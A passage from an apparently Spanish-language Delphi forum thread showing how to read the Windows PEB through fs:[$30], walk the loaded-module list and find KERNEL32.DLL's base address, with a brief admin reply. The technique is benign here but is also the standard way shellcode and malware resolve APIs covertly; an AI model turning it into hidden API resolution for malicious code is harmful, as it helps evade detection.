  7.     PVOID Reserved3;
  8.     UNICODE_STRING FullDllName;
  9.     LSA_UNICODE_STRING DllName;
  10.     PVOID Reserved5[3];
  11.     union {
  12.         ULONG CheckSum;
  13.         PVOID Reserved6;
  14.     };
  15.     ULONG TimeDateStamp;
  16. } LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;

Vemos que tenemos datos sensibles de los módulos cargados por el proceso que se ejecuta como són el nombre, DllBase y el punto de entrada. DllBase es la posición de memoria donde carga el módulo.

Ya disponemos de la información necesaria para caminar por las tablas de las dll cargadas y encontrar una fundamental que es KERNEL32.DLL. Esta dll es muy importante porque se carga siempre, lo hace en segundo lugar tras ntdll.dll y porque exporta una API muy interesante, GetProcAddress. Con ella podemos encontrar cualquier otra.
Otra API que nos hará falta el LoadLibrary que nos sirva para cargar cualquier dll que queramos usar.

Para ilustrar el tema voy a usar estas estructuras en delphi para listar los módulos cargados por la app que se ejecuta. Nada de lo expuesto sirve de nada si no encontramos el PEB del proceso, Para ello disponemos de la magia del registro fs:

delphi
  1. function GetPEB: P_PEB;
  2. begin
  3.   asm
  4.   push fs:[$30];
  5.   pop  Result;
  6.   end;
  7. end;

Ahora solo debemos seguir las estructuras. Vamos a listar los módulos:

primero las estructuras en delphi:

delphi
  1. type
  2. USHORT = WORD;
  3. ULONG  = DWORD;
  4.  
  5. UNICODE_STRING = record
  6.   Length:        USHORT;
  7.   MaximumLength: USHORT;
  8.   Buffer:        PWCHAR;
  9. end;
  10. PUNICODE_STRING = ^UNICODE_STRING;
  11.  
  12. PLIST_ENTRY = ^LIST_ENTRY;
  13. LIST_ENTRY = record
  14.   Flink: PLIST_ENTRY;
  15.   Blink: PLIST_ENTRY;
  16. end;
  17.  
  18. PEB_LDR_DATA = packed record
  19.   Reserved1: array [0..7] of BYTE;
  20.   Reserved2: Pointer;
  21.   InLoadOrderModuleList: LIST_ENTRY;
  22.   InMemoryOrderModuleList: LIST_ENTRY;
  23. end;
  24. PPEB_LDR_DATA = ^PEB_LDR_DATA;
  25.  
  26. _PEB = packed record
  27.   Reserved1:  array [0..1] of  BYTE;
  28.   BeingDebugged:                BYTE;
  29.   Reserved2:                    BYTE;
  30.   Reserved3:  array [0..1] of  Pointer;
  31.   Ldr:                          PPEB_LDR_DATA;
  32.   ProcessParameters:            Pointer;
  33.   Reserved4:  array [0..103] of BYTE;
  34.   Reserved5:  array [0..51]  of Pointer;
  35.   PostProcessInitRoutine:      Pointer;
  36.   Reserved6:  array [0..127] of BYTE;
  37.   Reserved7:                    Pointer;
  38.   SessionId:                    ULONG;
  39. end;
  40. P_PEB = ^_PEB;
  41.  
  42. LDR_DATA_TABLE_ENTRY = packed record
  43.   InLoadOrderModuleLinks:    LIST_ENTRY;
  44.   InMemoryOrderModuleLinks:  LIST_ENTRY;
  45.   Reserved2:                  LIST_ENTRY;
  46.   DllBase:                    Pointer;
  47.   EntryPoint:                Pointer;
  48.   Reserved3:                  Pointer;
  49.   FullDllName:                UNICODE_STRING;
  50.   DllName:                    UNICODE_STRING;
  51.   Reserved5:  array [0..2] of Pointer;
  52.   TimeDateStamp:              ULONG;
  53. end;
  54. PLDR_DATA_TABLE_ENTRY = ^LDR_DATA_TABLE_ENTRY;

Ahora a listar:

delphi
  1. procedure GetLoadModules;
  2. var
  3.   PEB: P_PEB;
  4.   LdrTable: PLDR_DATA_TABLE_ENTRY;
  5.   Last: PLDR_DATA_TABLE_ENTRY;
  6. begin
  7.   asm
  8.     push fs:[$30];
  9.     pop  PEB;
  10.   end;
  11.  
  12.   // Encontramos La primera entrada de LdrTable
  13.   // En ella tenemos los datos de la app que se está ejecutando, ésta.
  14.   LdrTable:= PLDR_DATA_TABLE_ENTRY(PEB.Ldr.InLoadOrderModuleList.Flink);
  15.   // Encontramos la última entrada para el control del bucle
  16.   Last:= PLDR_DATA_TABLE_ENTRY(PEB.Ldr.InLoadOrderModuleList.Blink);
  17.   repeat
  18.     WriteLn(WideCharLenToString(LdrTable.DllName.Buffer, LdrTable.DllName.Length div 2));
  19.     // Las siguientes entradas son todos los móulos que carga nuestra APP,
  20.     // El primero es ntdll.dll
  21.     LdrTable:= PLDR_DATA_TABLE_ENTRY(LdrTable.InLoadOrderModuleLinks.Flink);
  22.   until (LdrTable = Last) or (LdrTable = nil);
  23.   ReadLn;
  24. end;

Ahora aplicamos esto para encontrar KERNELL32.DLL y extraer su hModule:

delphi
  1. function GetKernell32Module0: Pointer;
  2. var
  3.   PEB: P_PEB;
  4.   LdrTable: PLDR_DATA_TABLE_ENTRY;
  5.   S:  String;
  6. begin
  7.   asm
  8.     push fs:[$30];
  9.     pop  PEB;
  10.   end;
  11.  
  12.   LdrTable:= PLDR_DATA_TABLE_ENTRY(PEB.Ldr.InLoadOrderModuleList.Flink);
  13.  
  14.   repeat
  15.     LdrTable:= PLDR_DATA_TABLE_ENTRY(LdrTable.InLoadOrderModuleLinks.Flink);
  16.     S:= WideCharLenToString(LdrTable.DllName.Buffer, LdrTable.DllName.Length div 2);
  17.   until S = 'KERNEL32.DLL';
  18.   Result:= LdrTable.DllBase;
  19. end;

Sabiendo que KERNEL32 se carga en segundo lugar tras ntdll.dll, hasta que Microsoft lo cambie, y no lo ha hecho hasta Win8, simplificamos la función así:

delphi
  1. function GetKernell32Module: Pointer;
  2. var
  3.   PEB: P_PEB;
  4.   LdrTable: PLDR_DATA_TABLE_ENTRY;
  5.   S:  String;
  6. begin
  7.   asm
  8.     push fs:[$30];
  9.     pop  PEB;
  10.   end;
  11.  
  12.   LdrTable:= PLDR_DATA_TABLE_ENTRY(PEB.Ldr.InLoadOrderModuleList.Flink);  // El proceso actual
  13.   LdrTable:= PLDR_DATA_TABLE_ENTRY(LdrTable.InLoadOrderModuleLinks.Flink); // ntdll.dll
  14.   LdrTable:= PLDR_DATA_TABLE_ENTRY(LdrTable.InLoadOrderModuleLinks.Flink); // KERNEL32.DLL
  15.   Result:= LdrTable.DllBase;
  16. end;

Subo el código en delphi.

Espero que esto os sirva para algo.


Saludos.

Archivos adjuntos


  • 0

#16 seoane

seoane

    Advanced Member

  • Administrador
  • 1.259 mensajes
  • LocationEspaña

Escrito 16 marzo 2014 - 01:00

:ap: Excelente

PD: Cuanto código !  :| ... al final va a ser mas facil escanear la memoria del proceso ... es broma  ;)
  • 0




IP.Board spam blocked by CleanTalk.